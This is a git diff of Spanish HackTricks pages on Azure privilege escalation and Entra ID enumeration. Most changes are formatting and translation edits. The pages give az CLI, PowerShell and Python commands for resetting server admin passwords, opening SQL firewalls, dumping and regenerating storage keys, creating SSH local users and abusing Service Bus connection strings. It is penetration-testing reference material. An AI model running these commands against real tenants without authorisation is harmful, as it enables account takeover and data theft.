-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
index 5dc298652..32a22528d 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md
@@ -3,17 +3,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL Privesc
-Para más información sobre SQL Database, consulta:
+Para más información sobre SQL Database consulta:
-{% content-ref url="../az-services/az-postgresql.md" %}
+{{#ref}}
[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
Con este permiso, puedes crear, actualizar o eliminar instancias de PostgreSQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server create \
--name \
@@ -26,34 +24,22 @@ az postgres flexible-server create \
--tier \
--version
```
-{% endcode %}
-
Por ejemplo, estos permisos permiten cambiar la contraseña de PostgreSQL, útil por supuesto en caso de que la autenticación de PostgreSQL esté habilitada.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
-Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo:
-
-{% code overflow="wrap" %}
+Además, es necesario tener habilitado el acceso público si deseas acceder desde un endpoint no privado, para habilitarlo:
```bash
az postgres flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de PostgreSQL. Esto se puede explotar configurando a uno mismo o a otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor de PostgreSQL. La actualización de un principal existente aún no es compatible, por lo que si hay uno creado, debes eliminarlo primero.
-Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para usar.
-
-{% code overflow="wrap" %}
+Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para usar.
```bash
az postgres flexible-server ad-admin create \
--resource-group \
@@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \
--identity \
--object-id
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index 96bcf2c22..a675ee045 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -12,7 +12,7 @@ Para más información, consulta:
### Enviar Mensajes. Acción: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
-Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de mensajería.
+Puedes recuperar el `PrimaryConnectionString`, que actúa como una credencial para el espacio de nombres de Service Bus. Con esta cadena de conexión, puedes autenticarte completamente como el espacio de nombres de Service Bus, lo que te permite enviar mensajes a cualquier cola o tema y potencialmente interactuar con el sistema de maneras que podrían interrumpir las operaciones, suplantar usuarios válidos o inyectar datos maliciosos en el flujo de trabajo de mensajería.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
-### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
+### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
-Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, potencialmente eludiendo los controles de acceso basados en roles (RBAC).
+Si tienes estos permisos, puedes escalar privilegios leyendo o creando claves de acceso compartido. Estas claves permiten el control total sobre el espacio de nombres de Service Bus, incluyendo la gestión de colas, temas y el envío/recepción de mensajes, lo que podría eludir los controles de acceso basados en roles (RBAC).
```bash
az servicebus namespace authorization-rule update \
--resource-group \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index 47d39cef8..c971132e9 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -10,9 +10,9 @@ Para más información sobre SQL Database, consulta:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
+### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
-Con estos permisos, un usuario puede realizar escalación de privilegios al actualizar o crear servidores SQL de Azure y modificar configuraciones críticas, incluyendo credenciales administrativas. Este permiso permite al usuario actualizar propiedades del servidor, incluyendo la contraseña del administrador del servidor SQL, lo que habilita el acceso no autorizado o control sobre el servidor. También pueden crear nuevos servidores, potencialmente introduciendo infraestructura oculta con fines maliciosos. Esto se vuelve particularmente crítico en entornos donde "Microsoft Entra Authentication Only" está deshabilitado, ya que pueden explotar la autenticación basada en SQL para obtener acceso sin restricciones.
+Con estos permisos, un usuario puede realizar escalación de privilegios al actualizar o crear servidores SQL de Azure y modificar configuraciones críticas, incluyendo credenciales administrativas. Este permiso permite al usuario actualizar propiedades del servidor, incluyendo la contraseña del administrador del servidor SQL, lo que habilita el acceso no autorizado o control sobre el servidor. También pueden crear nuevos servidores, lo que potencialmente introduce infraestructura oculta con fines maliciosos. Esto se vuelve particularmente crítico en entornos donde "Microsoft Entra Authentication Only" está deshabilitado, ya que pueden explotar la autenticación basada en SQL para obtener acceso sin restricciones.
```bash
# Change the server password
az sql server update \
@@ -35,7 +35,7 @@ az sql server update \
--resource-group \
--enable-public-network true
```
-### "Microsoft.Sql/servers/firewallRules/write"
+### `Microsoft.Sql/servers/firewallRules/write`
Un atacante puede manipular las reglas del firewall en los servidores de Azure SQL para permitir el acceso no autorizado. Esto puede ser explotado para abrir el servidor a direcciones IP específicas o rangos de IP completos, incluidas IPs públicas, lo que permite el acceso a actores maliciosos. Esta actividad de post-explotación puede ser utilizada para eludir los controles de seguridad de red existentes, establecer persistencia o facilitar el movimiento lateral dentro del entorno al exponer recursos sensibles.
```bash
@@ -56,9 +56,9 @@ az sql server firewall-rule update \
--end-ip-address
```
Además, el permiso `Microsoft.Sql/servers/outboundFirewallRules/delete` te permite eliminar una regla de firewall.
-NOTA: Es necesario tener habilitado el acceso público.
+NOTA: Es necesario tener el acceso público habilitado.
-### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
+### `Microsoft.Sql/servers/ipv6FirewallRules/write`
Con este permiso, puedes crear, modificar o eliminar reglas de firewall IPv6 en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado eludir las configuraciones de seguridad de red existentes y obtener acceso no autorizado al servidor. Al agregar una regla que permite el tráfico desde cualquier dirección IPv6, el atacante podría abrir el servidor al acceso externo.
```bash
@@ -72,9 +72,9 @@ az sql server firewall-rule create \
Además, el permiso `Microsoft.Sql/servers/ipv6FirewallRules/delete` te permite eliminar una regla de firewall.
NOTA: Es necesario tener habilitado el acceso público.
-### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
+### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
-Con estos permisos puedes privesc en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL:
+Con estos permisos puedes escalar privilegios en un entorno de Azure SQL Server accediendo a bases de datos SQL y recuperando información crítica. Usando el comando a continuación, un atacante o usuario autorizado puede establecerse a sí mismo o a otra cuenta como el administrador de Azure AD. Si "Microsoft Entra Authentication Only" está habilitado, puedes acceder al servidor y sus instancias. Aquí está el comando para establecer el administrador de Azure AD para un servidor SQL:
```bash
az sql server ad-admin create \
--server \
@@ -82,7 +82,7 @@ az sql server ad-admin create \
--display-name \
--object-id
```
-### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
+### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
Con estos permisos, puedes configurar y hacer cumplir "Microsoft Entra Authentication Only" en un Azure SQL Server, lo que podría facilitar la escalada de privilegios en ciertos escenarios. Un atacante o un usuario autorizado con estos permisos puede habilitar o deshabilitar la autenticación solo de Azure AD.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index 15610ecc7..d7c1d5f13 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -10,13 +10,13 @@ Para más información sobre almacenamiento, consulta:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/listkeys/action
+### `Microsoft.Storage/storageAccounts/listkeys/action`
Un principal con este permiso podrá listar (y los valores secretos) de las **claves de acceso** de las cuentas de almacenamiento. Permitiendo al principal escalar sus privilegios sobre las cuentas de almacenamiento.
```bash
az storage account keys list --account-name
```
-### Microsoft.Storage/storageAccounts/regenerateKey/action
+### `Microsoft.Storage/storageAccounts/regenerateKey/action`
Un principal con este permiso podrá renovar y obtener el nuevo valor secreto de las **access keys** de las cuentas de almacenamiento. Permitiendo al principal escalar sus privilegios sobre las cuentas de almacenamiento.
@@ -24,7 +24,7 @@ Además, en la respuesta, el usuario obtendrá el valor de la clave renovada y t
```bash
az storage account keys renew --account-name --key key2
```
-### Microsoft.Storage/storageAccounts/write
+### `Microsoft.Storage/storageAccounts/write`
Un principal con este permiso podrá crear o actualizar una cuenta de almacenamiento existente, actualizando cualquier configuración como reglas de red o políticas.
```bash
@@ -36,9 +36,9 @@ az storage account update --name --add networkRuleSet.ipRules value=<
```
## Blobs Specific privesc
-### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
+### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
-El primer permiso permite **modificar las políticas de inmutabilidad** en los contenedores y el segundo las elimina.
+El primer permiso permite **modificar las políticas de inmutabilidad** en los contenedores y el segundo eliminarlas.
> [!NOTE]
> Tenga en cuenta que si una política de inmutabilidad está en estado de bloqueo, no puede hacer ninguna de las dos.
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
```
## Privesc específico de comparticiones de archivos
-### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
+### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
Esto debería permitir a un usuario que tenga este permiso poder tomar la propiedad de archivos dentro del sistema de archivos compartido.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
Esto debería permitir a un usuario que tenga este permiso poder modificar los permisos de los archivos dentro del sistema de archivos compartido.
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
Esto debería permitir a un usuario que tenga este permiso poder realizar acciones dentro de un sistema de archivos como superusuario.
-### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
+### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
-Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo la especificación de los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse a sí mismo acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación de si un usuario ya existe, por lo que puedes sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles.
+Con este permiso, un atacante puede crear y actualizar (si tiene el permiso `Microsoft.Storage/storageAccounts/localusers/read`) un nuevo usuario local para una cuenta de Azure Storage (configurada con un espacio de nombres jerárquico), incluyendo especificar los permisos y el directorio de inicio del usuario. Este permiso es significativo porque permite al atacante otorgarse acceso a una cuenta de almacenamiento con permisos específicos como lectura (r), escritura (w), eliminación (d) y listado (l) y más. Adicionalmente, los métodos de autenticación que utiliza pueden ser contraseñas generadas por Azure y pares de claves SSH. No hay verificación si un usuario ya existe, por lo que puedes sobrescribir a otros usuarios que ya están allí. El atacante podría escalar sus privilegios y obtener acceso SSH a la cuenta de almacenamiento, exponiendo o comprometiendo potencialmente datos sensibles.
```bash
az storage account local-user create \
--account-name \
@@ -80,7 +80,7 @@ az storage account local-user create \
--home-directory \
--has-ssh-key false/true # Depends on the auth method to use
```
-### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
+### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
Con este permiso, un atacante puede regenerar la contraseña de un usuario local en una cuenta de Azure Storage. Esto otorga al atacante la capacidad de obtener nuevas credenciales de autenticación (como una contraseña SSH o SFTP) para el usuario. Al aprovechar estas credenciales, el atacante podría obtener acceso no autorizado a la cuenta de almacenamiento, realizar transferencias de archivos o manipular datos dentro de los contenedores de almacenamiento. Esto podría resultar en filtración de datos, corrupción o modificación maliciosa del contenido de la cuenta de almacenamiento.
```bash
@@ -94,7 +94,7 @@ Para acceder a Azure Blob Storage a través de SFTP (is_hns_enabled debe ser ver
sftp .@.blob.core.windows.net
#regenerated-password
```
-### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
+### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
Con estos permisos, un atacante puede restaurar un contenedor eliminado especificando su ID de versión eliminada o deseleccionar blobs específicos dentro de un contenedor, si fueron eliminados suavemente anteriormente. Esta escalada de privilegios podría permitir a un atacante recuperar datos sensibles que debían ser eliminados permanentemente, lo que podría llevar a un acceso no autorizado.
```bash
@@ -110,7 +110,7 @@ az storage blob undelete \
--container-name \
--name "fileName.txt"
```
-### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
+### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
Con estos permisos, un atacante puede restaurar un recurso compartido de archivos de Azure eliminado especificando su ID de versión eliminada. Esta escalada de privilegios podría permitir a un atacante recuperar datos sensibles que se suponía debían ser eliminados permanentemente, lo que podría llevar a un acceso no autorizado.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index f6bb93743..dea522e11 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -184,11 +184,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-Cuando **inicias sesión** a través de **CLI** en Azure con cualquier programa, estás utilizando una **Aplicación de Azure** de un **inquilino** que pertenece a **Microsoft**. Estas Aplicaciones, como las que puedes crear en tu cuenta, **tienen un id de cliente**. **No podrás ver todas ellas** en las **listas de aplicaciones permitidas** que puedes ver en la consola, **pero están permitidas por defecto**.
+Cuando inicias sesión a través de la CLI en Azure con cualquier programa, estás utilizando una Aplicación de Azure de un inquilino que pertenece a Microsoft. Estas Aplicaciones, como las que puedes crear en tu cuenta, tienen un id de cliente. No podrás ver todas ellas en las listas de aplicaciones permitidas que puedes ver en la consola, pero están permitidas por defecto.
-Por ejemplo, un **script de powershell** que **autentica** utiliza una aplicación con el id de cliente **`1950a258-227b-4e31-a9cf-717495945fc2`**. Incluso si la aplicación no aparece en la consola, un sysadmin podría **bloquear esa aplicación** para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa App.
+Por ejemplo, un script de powershell que autentica utiliza una aplicación con el id de cliente `1950a258-227b-4e31-a9cf-717495945fc2`. Incluso si la aplicación no aparece en la consola, un administrador del sistema podría bloquear esa aplicación para que los usuarios no puedan acceder utilizando herramientas que se conectan a través de esa Aplicación.
-Sin embargo, hay **otros ids de cliente** de aplicaciones que **te permitirán conectarte a Azure**:
+Sin embargo, hay otros ids de cliente de aplicaciones que te permitirán conectarte a Azure:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA y Políticas de Acceso Condicional
-Se recomienda encarecidamente agregar MFA a cada usuario, sin embargo, algunas empresas no lo configurarán o podrían configurarlo con un Acceso Condicional: El usuario será **requerido MFA si** inicia sesión desde una ubicación específica, navegador o **alguna condición**. Estas políticas, si no se configuran correctamente, pueden ser propensas a **bypasses**. Verifica:
+Se recomienda encarecidamente agregar MFA a cada usuario, sin embargo, algunas empresas no lo configurarán o podrían configurarlo con un Acceso Condicional: El usuario será **requerido MFA si** inicia sesión desde una ubicación, navegador o **alguna condición** específica. Estas políticas, si no se configuran correctamente, pueden ser propensas a **bypasses**. Verifica:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -487,7 +487,7 @@ Los propietarios del grupo pueden agregar nuevos usuarios al grupo.
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> Los grupos pueden ser dinámicos, lo que básicamente significa que **si un usuario cumple ciertas condiciones, será agregado a un grupo**. Por supuesto, si las condiciones se basan en **atributos** que un **usuario** puede **controlar**, podría abusar de esta función para **ingresar a otros grupos**.\
+> Los grupos pueden ser dinámicos, lo que básicamente significa que **si un usuario cumple ciertas condiciones, será agregado a un grupo**. Por supuesto, si las condiciones se basan en **atributos** que un **usuario** puede **controlar**, podría abusar de esta función para **entrar en otros grupos**.\
> Consulta cómo abusar de grupos dinámicos en la siguiente página:
{{#ref}}
@@ -714,10 +714,10 @@ Para más información sobre Aplicaciones consulta:
../az-basic-information/
{{#endref}}
-Cuando se genera una App, se otorgan 2 tipos de permisos:
+Cuando se genera una aplicación, se otorgan 2 tipos de permisos:
- **Permisos** otorgados al **Service Principal**
-- **Permisos** que la **app** puede tener y usar en **nombre del usuario**.
+- **Permisos** que la **aplicación** puede tener y usar en **nombre del usuario**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members"
-# Listar roles de Entra ID asignados a un usuario
+# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
-# Listar roles de Entra ID asignados a un grupo
+# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
-# Listar roles de Entra ID asignados a un principal de servicio
+# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
-
{{#endtab }}
{{#tab name="Azure AD" }}
-
```bash
-# Obtener todas las plantillas de roles disponibles
+# Get all available role templates
Get-AzureADDirectoryroleTemplate
-# Obtener roles habilitados (roles asignados)
+# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
-Get-AzureADDirectoryRole -ObjectId #Obtener información sobre el rol
-# Obtener roles personalizados - usar AzureAdPreview
+Get-AzureADDirectoryRole -ObjectId #Get info about the role
+# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
-# Usuarios asignados a un rol (Administrador Global)
+# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId | fl
-# Roles de la Unidad Administrativa (quién tiene permisos sobre la unidad administrativa y sus miembros)
+# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id | fl *
```
-
{{#endtab }}
{{#endtabs }}
-### Devices
+### Dispositivos
{{#tabs }}
{{#tab name="az cli" }}
-
```bash
-# Si sabes cómo hacer esto, ¡envía un PR!
+# If you know how to do this send a PR!
```
-
{{#endtab }}
{{#tab name="MS Graph" }}
-
```bash
-# Enumerar dispositivos usando Microsoft Graph PowerShell
+# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All
-# Obtener detalles del dispositivo
+# Get device details
Get-MgDevice -DeviceId | Format-List *
-# Obtener dispositivos gestionados usando Intune
+# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All
-# Obtener dispositivos propiedad de un usuario
+# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com
-# Listar comandos disponibles en Microsoft Graph PowerShell
+# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}
{{#tab name="Azure AD" }}
-
```bash
-# Enumerar Dispositivos
+# Enumerate Devices
Get-AzureADDevice -All $true | fl *
-# Listar todos los dispositivos activos (y no los dispositivos obsoletos)
+# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
-# Obtener propietarios de todos los dispositivos
+# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
-# Usuarios registrados de todos los dispositivos
+# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
-# Obtener dispositivos gestionados usando Intune
+# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
-# Obtener dispositivos propiedad de un usuario
+# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
-# Obtener Unidades Administrativas de un dispositivo
+# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
-
{{#endtab }}
{{#endtabs }}
> [!WARNING]
-> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
-> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
+> Si un dispositivo (VM) está **unido a AzureAD**, los usuarios de AzureAD podrán **iniciar sesión**.\
+> Además, si el usuario conectado es **Propietario** del dispositivo, será **administrador local**.
-### Administrative Units
+### Unidades Administrativas
-For more information about administrative units check:
+Para más información sobre unidades administrativas, consulta:
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
-
```bash
-# Listar todas las unidades administrativas
+# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
-# Obtener información de AU
+# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
-# Obtener miembros
+# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
-# Obtener principales con roles sobre la AU
+# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
-
{{#endtab }}
{{#tab name="AzureAD" }}
-
```bash
-# Obtener Unidades Administrativas
+# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id
-# Obtener ID de la unidad administrativa por cadena
+# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
-# Listar los usuarios, grupos y dispositivos afectados por la unidad administrativa
+# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id
-# Obtener los roles que los usuarios tienen sobre los miembros de la AU
-Get-AzureADMSScopedRoleMembership -Id | fl #Obtener ID de rol y miembros del rol
+# Get the roles users have over the members of the AU
+Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
```
-
{{#endtab }}
{{#endtabs }}
-## Entra ID Privilege Escalation
+## Escalación de Privilegios de Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
-## Azure Privilege Escalation
+## Escalación de Privilegios de Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Defensive Mechanisms
+## Mecanismos Defensivos
-### Privileged Identity Management (PIM)
+### Gestión de Identidades Privilegiadas (PIM)
-Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
+La Gestión de Identidades Privilegiadas (PIM) en Azure ayuda a **prevenir que se asignen privilegios excesivos** a los usuarios innecesariamente.
-One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
-Note that the user will also be able to ask to **extend** the time.
+Una de las principales características que ofrece PIM es que permite no asignar roles a los principales que están constantemente activos, sino hacerlos **elegibles por un período de tiempo (por ejemplo, 6 meses)**. Luego, cada vez que el usuario quiera activar ese rol, necesita solicitarlo indicando el tiempo que necesita el privilegio (por ejemplo, 3 horas). Luego, un **administrador necesita aprobar** la solicitud.\
+Tenga en cuenta que el usuario también podrá solicitar **extender** el tiempo.
-Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
+Además, **PIM envía correos electrónicos** cada vez que se asigna un rol privilegiado a alguien.
-When PIM is enabled it's possible to configure each role with certain requirements like:
+Cuando PIM está habilitado, es posible configurar cada rol con ciertos requisitos como:
-- Maximum duration (hours) of activation
-- Require MFA on activation
-- Require Conditional Access acuthenticaiton context
-- Require justification on activation
-- Require ticket information on activation
-- Require approval to activate
-- Max time to expire the elegible assignments
-- A lot more configuration on when and who to send notifications when certain actions happen with that role
+- Duración máxima (horas) de activación
+- Requerir MFA en la activación
+- Requerir contexto de autenticación de Acceso Condicional
+- Requerir justificación en la activación
+- Requerir información de ticket en la activación
+- Requerir aprobación para activar
+- Tiempo máximo para expirar las asignaciones elegibles
+- Mucha más configuración sobre cuándo y a quién enviar notificaciones cuando ocurren ciertas acciones con ese rol
-### Conditional Access Policies
+### Políticas de Acceso Condicional
-Check:
+Verifique:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-### Entra Identity Protection
+### Protección de Identidad de Entra
-Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
+La Protección de Identidad de Entra es un servicio de seguridad que permite **detectar cuándo un usuario o un inicio de sesión es demasiado arriesgado** para ser aceptado, permitiendo **bloquear** al usuario o el intento de inicio de sesión.
